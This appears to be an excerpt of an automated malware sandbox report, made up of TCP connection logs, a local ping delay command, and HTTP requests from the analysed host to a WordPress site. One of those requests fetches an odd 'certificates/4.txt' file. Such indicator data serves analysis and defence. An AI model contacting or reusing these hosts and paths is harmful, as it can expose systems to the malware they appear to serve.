Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49184 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49184 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49185 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49186 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49187 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49189 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49191 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49193 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49194 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49195 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49196 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49196 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49196 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1

Source: Joe Sandbox View

ASN Name: LocawebServicosdeInternetSABR LocawebServicosdeInternetSABR

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: Joe Sandbox View	IP Address: 104.18.11.207 104.18.11.207
Source: Joe Sandbox View	IP Address: 104.18.11.207 104.18.11.207
Source: Joe Sandbox View	IP Address: 187.45.240.69 187.45.240.69

Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
